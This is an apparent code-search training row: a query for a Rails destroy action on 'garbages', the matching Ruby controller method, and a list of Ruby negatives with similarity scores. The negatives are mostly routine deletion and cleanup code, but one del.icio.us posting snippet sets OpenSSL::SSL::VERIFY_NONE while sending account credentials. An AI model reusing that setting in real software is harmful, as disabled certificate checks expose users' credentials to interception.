purge_all_with_http_info(opts)\n data\n end", "def destroy\n @retain_node = RetainNode.find(params[:id])\n @retain_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_nodes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def sanitize_data\n data + \"datacite: #{create_xml.to_xml.gsub(\"%\", \"%25\").gsub(\":\", \"%3A\").gsub(\"\\n\", \"%0D%0A\").gsub(\"\\r\", \"\")}\\n\"\n end", "def post url\n Timeout.timeout(60) do\n puts \"POST: #{url}\" if config[:debug]\n \n tags = (Hpricot(open(\"http://del.icio.us/url/check?url=#{CGI.escape(url)}\"))/\n '#top-tags'/'li')[0..10].map do |li| \n (li/'span').innerHTML[/(.*?)<em/, 1]\n end.join(\" \")\n puts \"POST-TAGS: #{tags}\" if config[:debug]\n \n description = begin\n Timeout.timeout(5) do \n (((Hpricot(open(url))/:title).first.innerHTML or url) rescue url)\n end\n rescue Timeout::Error\n puts \"POST: URL timeout\" if config[:debug]\n url\n end\n \n query = { :url => url, :description => description, :tags => tags, :replace => 'yes' }\n\n http = Net::HTTP.new('api.del.icio.us', 443) \n http.use_ssl = true \n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.start do |http|\n post_url = '/v1/posts/add?' + query.map {|k,v| \"#{k}=#{CGI.escape(v)}\"}.join('&')\n puts \"POST: post url #{post_url}\" if config[:debug]\n req = Net::HTTP::Get.new(post_url, {\"User-Agent\" => \"Kirby\"})\n req.basic_auth config[:delicious_user], config[:delicious_pass]\n http.request(req)\n end.body\n\n puts \"POST: #{response.inspect}\" if config[:debug]\n end\n rescue Exception => e\n puts \"POST: #{e.inspect}\" if config[:debug]\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def cleanup_records\n Fog::DNS[:dreamhost].records.each do |r|\n # Do not delete the 'do-not-delete' record, we need it for the tests\n r.destroy if r.name =~ /#{test_domain}/ and r.name != do_not_delete_record\n end\nend", "def destroy\n @post = Post.find(params[:id])\n @post.deleted = 1\n @post.save\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n make_rss\n end", "def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end", "def cleanup\n true\n end", "def cleanup\n cleanup_nonces\n cleanup_associations\n end", "def cleanup!; end", "def cleanup!; end", "def destroy\n @unlimited.destroy\n respond_to do |format|\n format.html { redirect_to unlimiteds_url }\n format.json { head :no_content }\n end\n end", "def oomfree(options = {})\n unless options[:start_time].nil? && options[:end_time].nil?\n start_date = Time.at(start_time.to_i).to_datetime\n end_date = Time.at(end_time.to_i).to_datetime\n days = (end_date - start_date).to_i + 1\n options[:days] = days\n end\n request_model = @request_model_factory.oom_count_request_model(options)\n response = @network_client.perform_request(request_model)\n\n result = JSON.parse(response.body)\n sessions = result['data']['project']['crashlytics']['oomSessionCounts']['timeSeries'][0]['allTimeCount']\n ooms = result['data']['project']['crashlytics']['oomCounts']['timeSeries'][0]['allTimeCount']\n 1 - ooms.to_f / sessions\n end", "def cleanup\n true\nend" ]
[ "0.58374274", "0.57502586", "0.5622415", "0.5446513", "0.54210997", "0.5373751", "0.52940273", "0.52940273", "0.5208411", "0.51746607", "0.5089867", "0.5080046", "0.5039509", "0.4958417", "0.48838887", "0.482864", "0.48264802", "0.48125473", "0.47895554", "0.47783107", "0.47161138", "0.46865055", "0.46829116", "0.46794286", "0.46753412", "0.46705717", "0.46610555", "0.46489033", "0.46469295", "0.46469295", "0.46321186", "0.4614071", "0.46013588", "0.4579338", "0.45786804", "0.45780903", "0.4577847", "0.4577302", "0.45744923", "0.45726827", "0.45724303", "0.4570697", "0.45619985", "0.45522228", "0.45496118", "0.45487797", "0.4543998", "0.45403364", "0.45368323", "0.4536534", "0.4524119", "0.4516745", "0.4516745", "0.4516745", "0.45036513", "0.45036513", "0.45036513", "0.45036513", "0.45026398", "0.44999328", "0.4498467", "0.44977865", "0.4485125", "0.447288", "0.44648218", "0.44648218", "0.4461898", "0.4451667", "0.44400892", "0.44392717", "0.44378638", "0.44378513", "0.44322354", "0.4431907", "0.4431907", "0.4431907", "0.4431907", "0.4431792", "0.4430677", "0.4420661", "0.44188765", "0.4410104", "0.4407136", "0.44045874", "0.43951324", "0.43941972", "0.43855518", "0.43781012", "0.43728048", "0.43717954", "0.43670356", "0.43661723", "0.4364562", "0.43636945", "0.43600324", "0.4358638", "0.435767", "0.435767", "0.43572512", "0.43516797", "0.4351271" ]
0.0
-1
DELETE /garbages/1 DELETE /garbages/1.xml
def destroy begin @garbage = Garbage.find(params[:id]) @garbage.destroy Log.create(:user_id => session_get_user, :action => controller_name, :error => action_name + " " + params[:id]) flash[:notice] = t(:success_deleted, :id => @garbage.id) redirect_to(garbages_url) rescue => e flash[:error] = t(:error_default, :message => e.message) render :action => :show end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def purge\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @garbage = Garbage.find(params[:id])\n @garbage.destroy\n\n respond_to do |format|\n format.html { redirect_to garbages_url }\n format.json { head :no_content }\n end\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def delete_all(xpath); end", "def delete_now\n revisions.each do |rev_id| \n CouchDB.delete( \"#{uri}?rev=#{rev_id}\" )\n end\n true \n end", "def purge\n self.files.each do |f|\n f.destroy\n end\n self.commits.each do |c|\n c.destroy\n end\n end", "def purge\n\n\t\tend", "def purge\n \n @job = DialJob.find(params[:id])\n\t@job.dial_results.each do |r|\n\t\tr.destroy\n\tend\n\t@job.destroy\n\t\n\tdir = nil\n\tjid = @job.id\n\tdfd = Dir.new(WarVOX::Config.data_path)\n\tdfd.entries.each do |ent|\n\t\tj,m = ent.split('-', 2)\n\t\tif (m and j == jid)\n\t\t\tdir = File.join(WarVOX::Config.data_path, ent)\n\t\tend\n\tend\n\t\n\tFileUtils.rm_rf(dir) if dir\n\n respond_to do |format|\n format.html { redirect_to :action => 'index' }\n format.xml { head :ok }\n end\n end", "def teardown\n File.delete 'file.xml' if File.exists?('file.xml')\n File.delete '.file.xml.duxml' if File.exists?('.file.xml.duxml')\n end", "def cleanup_old_files\n # make a local copy of to_delete while simultaneously clearing the original (atomicity)\n # local_to_delete = $to_delete.slice!(0..-1).to_a\n local_to_delete = []\n $to_delete.delete_if { |v| local_to_delete << v; true }\n\n $files.each_pair do |uuid, file|\n if file.nil?\n $files.delete uuid\n elsif local_to_delete.include?(uuid) || (Time.now - 60*60) > file.ctime\n file.close # Close it\n file.unlink if file.respond_to? :unlink # Unlink it if we can\n $files.delete uuid\n end\n end\n GC.start\nend", "def delete!\n Recliner.delete(uri)\n end", "def delete_orphan_files_in_api(start)\n Find.find(api_output) do |path|\n if path.end_with?('.html') || path.end_with?('.html.gz')\n FileUtils.rm_f(path) if File.mtime(path) < start\n end\n end\n end", "def delete(*uris); end", "def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end", "def test_urls_cascade_delete\n\t\tres = DB.exec(\"SELECT person_id FROM urls WHERE id=8\")\n\t\tassert_equal '5', res[0]['person_id']\n\t\tDB.exec(\"DELETE FROM people WHERE id=5\")\n\t\tres = DB.exec(\"SELECT person_id FROM urls WHERE id=8\")\n\t\tassert_equal 0, res.ntuples\n\tend", "def purge!\n Document.delete_all\n end", "def destroy; delete end", "def delete_content(nodes)\n nodes.each do |node|\n chapters = node.chapters\n chapters.each do |chapter|\n awsdocuments = chapter.awsdocuments\n awsdocuments.each do |awsdocument|\n awsdocument.destroy\n end\n chapter.destroy\n end\n node.destroy\n end\n end", "def delete(filename); end", "def delete_all_content\n Parallel.each(subtree_keys(''), in_threads: 10) do |key|\n delete_content(key)\n end\n end", "def delete\n\t\tdb.execute{ \"delete edge #{ref_name} #{rrid}\" }\n\tend", "def delete_checksums\n # puts \"Del: #{@basename}\"\n @pkgdb.query(\"delete from checksums where basename = '#{@basename}'\")\n end", "def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend", "def file_delete(node, file)\n _out, _local, _remote, code = node.test_and_store_results_together(\"rm #{file}\", 'root', 500)\n code\nend", "def destroy\n @content = Content.find(params[:id])\n @folder = Folder.find(session[:folder_id])\n Searcher.open(Const.get('searcher_db')) do |db|\n db.erase(@content)\n end\n @content.destroy\n\n respond_to do |format|\n #format.html { redirect_to(contents_url) }\n format.html { redirect_to(@folder) }\n format.xml { head :ok }\n end\n end", "def delete(x)\n @contents.delete x\n end", "def run_on_deletion(paths)\n end", "def run_on_deletion(paths)\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def purge\n purge_file\n cdb_destroy\n end", "def safe_destroy(name)\n # More conservative: Create a list of related resources to delete.\n # The downside is that if a root resource has already been deleted,\n # (like a DNS record) we won't find the formerly dependent records.\n\n flat_list = Lister.new(debug: @debug, availability_zone: @availability_zone)\n .list(name, true)\n\n flat_list[:groups].each do |group_name|\n delete_group_policy(group_name) rescue LOGGER.warn(\"Error deleting policy: #{$!} at #{$@}\")\n LOGGER.info(\"Deleted policy #{group_name}\")\n delete_group(group_name) rescue LOGGER.warn(\"Error deleting group: #{$!} at #{$@}\")\n LOGGER.info(\"Deleted group #{group_name}\")\n end\n flat_list.delete(:groups)\n\n flat_list[:key_names].each do |key_name|\n delete_key(key_name) rescue LOGGER.warn(\"Error deleting PK: #{$!} at #{$@}\")\n LOGGER.info(\"Deleted PK #{key_name}\")\n end\n flat_list.delete(:key_names)\n\n terminate_instances_by_id(flat_list[:instance_ids]) rescue LOGGER.warn(\"Error terminating EC2 instances: #{$!} at #{$@}\")\n LOGGER.info(\"Terminated EC2 instances #{flat_list[:instance_ids]}\")\n flat_list.delete(:instance_ids)\n flat_list.delete(:volume_ids) # Volumes are set to disappear with their instance.\n\n delete_dns_cname_records(dns_zone(name), flat_list[:cnames]) rescue LOGGER.warn(\"Error deleting CNAMEs: #{$!} at #{$@}\")\n LOGGER.info(\"Deleted CNAMEs #{flat_list[:cnames]}\")\n flat_list.delete(:cnames)\n\n flat_list.keys.tap do |forgot|\n fail(\"Still need to clean up #{forgot}\") unless forgot.empty?\n end\n end", "def clean_files\n FileUtils.rm(Dir[File.join(Rails.root, 'public/sitemap*.xml.gz')])\n end", "def del\n delete\n end", "def delete\n stop\n [ @resource['instances_dir'] + \"/\" + @resource[:name],\n @resource['instances_dir'] + \"/\" + \"_\" + @resource[:name]\n ].each do |dir|\n FileUtils.rm_rf(dir) if File.directory?(dir)\n end\n end", "def delete_all(name); end", "def remove_content\n harvests.each { |h| h.destroy }\n # For some odd reason, the #delete_all on the association attempts to set resource_id: nil, which is wrong:\n ScientificName.where(resource_id: id).delete_all\n Vernacular.where(resource_id: id).delete_all\n Article.where(resource_id: id).delete_all\n Medium.where(resource_id: id).delete_all\n Trait.where(resource_id: id).delete_all\n MetaTrait.where(resource_id: id).delete_all\n OccurrenceMetadatum.where(resource_id: id).delete_all\n Assoc.where(resource_id: id).delete_all\n MetaAssoc.where(resource_id: id).delete_all\n Identifier.where(resource_id: id).delete_all\n Reference.where(resource_id: id).delete_all\n Node.remove_indexes(resource_id: id)\n Node.where(resource_id: id).delete_all\n NodeAncestor.where(resource_id: id).delete_all\n if Delayed::Job.count > 100_000\n puts '** SKIPPING delayed job clear, since there are too many delayed jobs.'\n else\n Delayed::Job.where(\"handler LIKE '%resource_id: #{id}%'\").delete_all\n end\n end", "def destroy\n File.unlink(@resource[:path])\n Puppet.debug \"deleted file #{@resource[:path]}\"\n end", "def destroy\n \tself.class.mongo_client.database.fs.find(:_id => BSON::ObjectId(@id)).delete_one\n end", "def delete_hex(url)\n hex = Hex.find_by(url: url)\n hex.destroy() if !hex.nil?\n end", "def destroy\n @document.destroy\n save_log({ :action => 'DELETE', :document => { :before => @old_document }})\n #TODO delete the file from disk\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end", "def delete_all\n Neo.db.execute_query(\"#{initial_match} OPTIONAL MATCH (n0)-[r]-() DELETE n0,r\")\n end", "def destroy\n delete ''\n end", "def del\n File.delete(@file)\n end", "def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end", "def destroy\n @monkey = Monkey.find(params[:id])\n @monkey.destroy\n\n respond_to do |format|\n format.html { redirect_to(monkeys_url) }\n format.xml { head :ok }\n end\n end", "def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end", "def truncate_all\n Content::Version.all.map(&:destroy)\n ContentKey::Version.all.map(&:destroy)\n Content.all.map(&:destroy)\n ContentKey.all.map(&:destroy)\n end", "def remove\n valid = parse_valid(params)\n # puts valid\n choose = $db.search(\"//book[\"+valid+\"]\").remove\n size = 0\n for i in choose\n size += 1\n end\n $file = open PATH, \"w\"\n $file.write $db\n $file.close\n render :soap => \"<result>\"+size.to_s+\"</result>\"\n end", "def delete_from_disk; end", "def delete_fragments\n glob_cache_expire( 'C:/tmp/cache/views/user_type_id/*/browse/category_id/' + self.id.to_s )\n\n glob_cache_expire( 'C:/tmp/cache/views/user_type_id/*/shared_symbiont/symbiote_wrapper_container/symbiote_item_category_id/' + self.id.to_s )\n\n glob_cache_expire( 'C:/tmp/cache/views/user_type_id/*/shared_menu/menu_organized_category/category_id/' + self.id.to_s )\nend", "def delete_tag tag\n delete \"tag/#{tag}\"\n end", "def test_purge\n religion_cat_original_id = @religion_cat.id\n assert_equal 1, @religion_cat.quotations.size\n assert @importance_of_religion.destroy\n # check the religion category has purged properly\n assert_raise(ActiveRecord::RecordNotFound) { Category.find(religion_cat_original_id) }\n end", "def purge\n ::FileUtils.rm(@fname)\n end", "def destroy\n @cattle_id = CattleId.find(params[:id])\n @cattle_id.destroy\n\n respond_to do |format|\n format.html { redirect_to(cattle_ids_url) }\n format.xml { head :ok }\n end\n end", "def purge()\n time = Time.now\n @data.each do |key, item|\n if item.expiration < time\n @data.delete(key)\n puts \"DELETE #{item.value}\"\n end\n end\n end", "def purge_old\n @db.execute \"DELETE FROM requests WHERE first_seen < ?\", $config.periodic['purge'].minutes.ago.to_i\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def destroy\n self.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end", "def destroy\n self.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end", "def purge!\n\n fetch_all({}).each { |hwi| @context.storage.delete(hwi) }\n end", "def delete\n begin \n # file_assets\n file_assets.each do |file_asset|\n file_asset.delete\n end\n # We now reload the self to update that the child assets have been removed...\n reload()\n # Call ActiveFedora Deleted via super \n super()\n rescue Exception => e\n raise \"There was an error deleting the resource: \" + e.message\n end\n end", "def delete\n delete_from_server single_url\n end", "def cleanup\n\tsh 'del /F /Q .\\_site\\*'\n\t# sh 'rm -rf ./_site'\nend", "def delete\n CMark.node_unlink(@pointer)\n end", "def destroy\n #FIXME: Double check auth is working for deletion. Also, maybe should only delete if not associated with any experiments.\n @data_file.destroy\n \n respond_to do |format|\n format.html { redirect_to(data_files_path) }\n format.xml { head :ok }\n end\n end", "def destroy; end", "def destroy; end", "def destroy; end", "def destroy; end", "def destroy; end", "def destroy; end", "def destroy; end", "def destroy; end", "def destroy; end", "def destroy; end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def delete(name); end", "def delete(name); end", "def delete\n client.delete(url)\n @deleted = true\nend", "def clear_graph(graphname)\n update(\"WITH <#{graphname}> DELETE { ?s ?p ?o } WHERE { ?s ?p ?o .}\")\nend", "def clean_content_blobs\n ContentBlob.where(asset: nil).where('created_at < ?', BLOB_GRACE_PERIOD.ago).select do |blob|\n Rails.logger.info(\"Cleaning up content blob #{blob.id}\")\n blob.reload\n blob.destroy if blob.asset.nil?\n end\n end", "def delete_one(file)\n files_collection.find(:_id => file.id).delete_one\n chunks_collection.find(:files_id => file.id).delete_many\n end", "def destroy\n @file_version.destroy\n head :no_content\n end", "def delete_all!\n delete(query: \"*:*\")\n end", "def destroy\n @bdig = Bdig.find(params[:id])\n @bdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(bdigs_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def purge_items\n purge(@nodename)\n end", "def destroy\n @reflection.destroy\n head :no_content\n end", "def delete!\n\t\t\tClient.delete @root\n\t\tend", "def destroy\n @article.images.purge if @article.images.attached?\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: '記事を削除しました。' }\n format.json { head :no_content }\n end\n end", "def delete!\n delete(:force => true)\n nil\n end", "def purge(paths)\n\t\tlogin_filter\n\t\tpaths = [paths].flatten\n\t\tpaths = paths.collect { |path| namespace_path(path) }\n\t\t@agent.post(\"/cmd/purge\", {\"files\"=> paths, \"t\" => @token }).code == \"200\"\n\tend", "def destroy\n @content.destroy\n\n head :no_content\n end", "def del(*args); end", "def delete_all\n solr.delete_by_query('*:*')\n solr.commit\n end", "def delete()\n db = PG connect( {dbname: 'bounty_hunter',\n host: 'localhost'\n })\n sql = 'DELETE from bounty_hunter'\n db.prepare('delete_one', sql)\n db.exec_prepared('delete_one', value)\n db.close()\nend", "def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n name, type = resource[:name].split('/')\n case type\n when 'MX'\n @dnsres.each do |res|\n preference = res.preference\n target = res.to_rdata\n nsupdate(\"server #{server}\n update delete #{name} MX #{preference} #{target}.\n send\")\n end\n when 'SRV'\n @dnsres.each do |res|\n priority = res.priority\n weight = res.weight\n port = res.port\n target = res.to_rdata\n nsupdate(\"server #{server}\n update delete #{name} SRV #{priority} #{weight} #{port} #{target}\n send\")\n end\n else\n rdata = @dnsres.to_rdata\n nsupdate(\"server #{server}\n update delete #{name} #{type} #{rdata}\n send\")\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete!\n delete( nil, true ) \n end" ]
[ "0.6368339", "0.6364902", "0.6294549", "0.6283909", "0.6192396", "0.6169065", "0.6063494", "0.59932286", "0.5977732", "0.5933209", "0.5931921", "0.59067416", "0.58970565", "0.587881", "0.58348244", "0.58313096", "0.58155304", "0.5811328", "0.5802984", "0.5781506", "0.57791215", "0.57725036", "0.5758803", "0.5758603", "0.5758603", "0.575698", "0.57492524", "0.5749152", "0.5749152", "0.573566", "0.5723447", "0.5720147", "0.57142556", "0.5713972", "0.5709988", "0.5690613", "0.5688869", "0.5685653", "0.5673959", "0.56727076", "0.56634605", "0.5656029", "0.5649552", "0.564696", "0.56301767", "0.5623193", "0.5615074", "0.56081516", "0.5606493", "0.5606419", "0.56008863", "0.55980104", "0.55977553", "0.5589486", "0.5588556", "0.5585046", "0.5583389", "0.5581392", "0.557196", "0.557196", "0.55701786", "0.5566218", "0.5559359", "0.55529594", "0.55525464", "0.554838", "0.5547497", "0.5547497", "0.5547497", "0.5547497", "0.5547497", "0.5547497", "0.5547497", "0.5547497", "0.5547497", "0.5547497", "0.5546842", "0.5545189", "0.5545189", "0.5542338", "0.5540062", "0.5536292", "0.5533704", "0.5533691", "0.5531745", "0.5530303", "0.5529725", "0.5529111", "0.5526908", "0.55252534", "0.5524604", "0.55224854", "0.5521875", "0.5519006", "0.55135685", "0.5512919", "0.5511765", "0.5511137", "0.55106646", "0.55105996", "0.5510082" ]
0.0
-1
INDEX Warning: cannot be memoized
def init_search_form @search_form = SearchForm.new(search_params) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index()\n INDEXES.find { |i| (self + i).exist? }&.yield_self { |i| self + i }\n end", "def construct_index\n end", "def lazy_index(index)\n index -= @map.keys.select{|e| e < index}.size\n result = 0\n @deleted.each do |deleted_index|\n if deleted_index - result > index\n return result + index\n else\n index -= deleted_index - result\n result = deleted_index + 1\n end\n end\n result + index\n end", "def [](key, index_name = T.unsafe(nil)); end", "def index=(_arg0); end", "def memo; end", "def index\r\n build_index unless @index\r\n @index\r\n end", "def hash()\n #This is a stub, used for indexing\nend", "def [](idx)\n return @cache[idx] if @cache.has_key? idx\n while @pointer != idx\n previous_entry = @cache[@pointer]\n\n @pointer += 1\n\n if first_mention? previous_entry\n @cache[@pointer] = 0\n @index[0] << @pointer\n else\n a, b = *@index[previous_entry][-2..-1]\n @cache[@pointer] = b - a\n @index[b - a] ||= []\n @index[b - a] << @pointer\n end\n\n end\n\n @cache[idx]\n end", "def from_index\n Indexer.index[probably_unique_id]\n end", "def freeze\n reindex unless @clean\n super\n end", "def hashable? = super && index.hashable?", "def memo\n end", "def require_index(name); end", "def require_index(name); end", "def method_missing ( method, *args )\n # Handle all valid *_index/*_key calls:\n return _addIndexes( method, *args ) if VALID_INDEX_HINTS.include? method \n super\n end", "def index_finalized\n index\n end", "def primary_key_index_re\n PRIMARY_KEY_INDEX_RE\n end", "def primary_key_index_re\n PRIMARY_KEY_INDEX_RE\n end", "def index(key, size)\n code = key.sum\n return code % size\n end", "def rekey_as_needed; end", "def hash()\n #This is a stub, used for indexing\n end", "def unique_index\n @unique_index\n end", "def index(key, size)\n i = key.sum % size \n end", "def index_and_memoize!(key:, object:, id:)\n\n object.keys.each do |key|\n tokenize(object[key]).each do |name|\n @index[name] = @index.fetch(name, Array.new) << id\n end\n end\n\n @documents[id] = Document.new(object)\n end", "def [](index); end", "def indexed?(table, column); end", "def another\n self.class.new(nil, cached? ? [] : io_index.another)\n end", "def index ; @index ; end", "def index(key, size)\n return key.sum%size\n end", "def optimize_index!\n @domain_index.each do |key, val|\n # Sort each path/name_key pair by the longest path\n @domain_index[key].sort! { |a, b|\n b[0].size <=> a[0].size\n }.uniq!\n end\n end", "def index(key, size)\n # Look into this. Same as previous ???\n # Review the base of tens to get a better understanding.\n return key.sum % size\n end", "def aget(index)\n end", "def expire_index!\n raise TypeError, \"can't modify immutable index\"\n end", "def supports_index_null_order?\n false\n end", "def index(key, size)\n return key.sum % size \n end", "def uniq_index\n\t\t\t\tcreate_property :in, type: :link, linked_class: :V\n\t\t\t\tcreate_property :out, type: :link, linked_class: :V\n\t\t\t\tcreate_index \"#{ref_name}_idx\", on: [ :in, :out ]\n\t\t\tend", "def index(key, size)\n (key.sum % size)\n end", "def index(loc, offset=0) end", "def lindex(key, index); end", "def lindex(key, index); end", "def index(p0) end", "def index(p0) end", "def [](index)\n demand super(index)\n end", "def magic_slow(arr)\n arr.each_with_index do |val, index|\n return index if val === index\n end\nend", "def cache=(_arg0); end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def add_index_field(*) super end", "def counter_cache=(_arg0); end", "def index(key, size) #take the asscii value % size to come up with index\n total = 0\n key.each_byte do |c|\n total = c + total\n end\n total % size\n\n end", "def index(key, size)\n return key.sum % size\n end", "def index(key, size)\n return key.sum % size\n end", "def index(key, size)\n return key.sum % size\n end", "def index(key, size)\n return key.sum % size\n end", "def index(key, size)\n key.sum % size \n end", "def index(key, size)\n key.sum % size \n end", "def dereference(index)\n # NOTE: index is zero-based in this module.\n value = STATIC_TABLE[index] || @table[index - STATIC_TABLE.size]\n fail CompressionError, 'Index too large' unless value\n value\n end", "def index_algorithms\n {}\n end", "def index_algorithms\n {}\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def index(key, size)\n key.sum % size\n end", "def cached\n raise NotImplementedError\n end" ]
[ "0.6536306", "0.6460917", "0.64352965", "0.6350692", "0.62916666", "0.62751746", "0.62178475", "0.6176336", "0.6163126", "0.605742", "0.6017804", "0.5993588", "0.59718364", "0.5968406", "0.5968406", "0.5954747", "0.59406984", "0.5935629", "0.5935629", "0.5917862", "0.59016955", "0.58883953", "0.58812225", "0.5851611", "0.5842194", "0.5830398", "0.58281237", "0.58217156", "0.5799025", "0.5788485", "0.57678896", "0.5759131", "0.57563716", "0.5734485", "0.5730401", "0.5723499", "0.572149", "0.57179433", "0.5714764", "0.5708665", "0.5708665", "0.57045054", "0.57045054", "0.5696307", "0.56959593", "0.5693782", "0.5693782", "0.5693782", "0.5693782", "0.56872195", "0.56813574", "0.5679671", "0.5676939", "0.5676939", "0.5676939", "0.5676939", "0.56768227", "0.56768227", "0.56759614", "0.5674536", "0.5674536", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56553495", "0.56524223" ]
0.0
-1
Set geolocation variables to cookie
def set_position if @search_form.search_location == I18n.t('conf.current_location') # erase cookie so that next time the current location will be used again cookies[:last_search_location] = nil else # set cookie so that next time the same location will be prefilled cookies[:last_search_location] = { value: @search_form.location_for_cookie, expires: 3.months.from_now } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def store_ip_location\n session[:geo_location] ||= retrieve_location_from_cookie_or_service\n cookies[:geo_location] = { :value => session[:geo_location].to_json, :expires => 30.days.from_now } if session[:geo_location]\n end", "def save_location\n\n if @location != nil\n cookies[:location] = @location.to_cookie\n end\n\n end", "def store_geolocation(latitude, longitude, city, state, method)\n session[:latitude] = latitude.to_f\n session[:longitude] = longitude.to_f\n session[:location_name] = \"#{city}, #{state}\"\n session[:location_time] = Time.now\n session[:location_method] = method\n end", "def set_pickup_cookies!\n if @pickup\n cookies[:pickup_id] = @pickup.id\n cookies[:key] = @pickup.key\n elsif params[:pickup_id] && params[:key]\n cookies[:pickup_id] = params[:pickup_id]\n cookies[:key] = params[:key]\n end\n end", "def retrieve_location_from_cookie_or_service\n # return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]\n return GeoLoc.new(JSON.parse(cookies[:geo_location])) if cookies[:geo_location]\n location = Geocoders::MultiGeocoder.geocode(get_ip_address)\n return location.success ? location : nil\n end", "def set_city\n # @city = City.find(params[:id])\n hash = cookies[:city_hash]\n @city = City.find_by(city_hash: hash)\n end", "def store_location\n cookies[:return_to] = {:value => @request.request_uri, :expires => nil }\n end", "def set_timezone\n Time.zone = cookies[\"time_zone\"]\n end", "def store_location\n cookies[:return_to] = { value: request.fullpath, expires: 1.minute.from_now }\n end", "def stash_cookie\n cookies[self.class.els_options['cookie']] = {\n :value => @els_identity.token_id,\n :domain => request.env[\"SERVER_NAME\"],\n :path => '/',\n :expires => Time.now + 24.hours\n }\n end", "def set_data_in_cookie(data)\n cookies[:merged_response] = {\n :value => data,\n :expires => 1.hour.from_now,\n 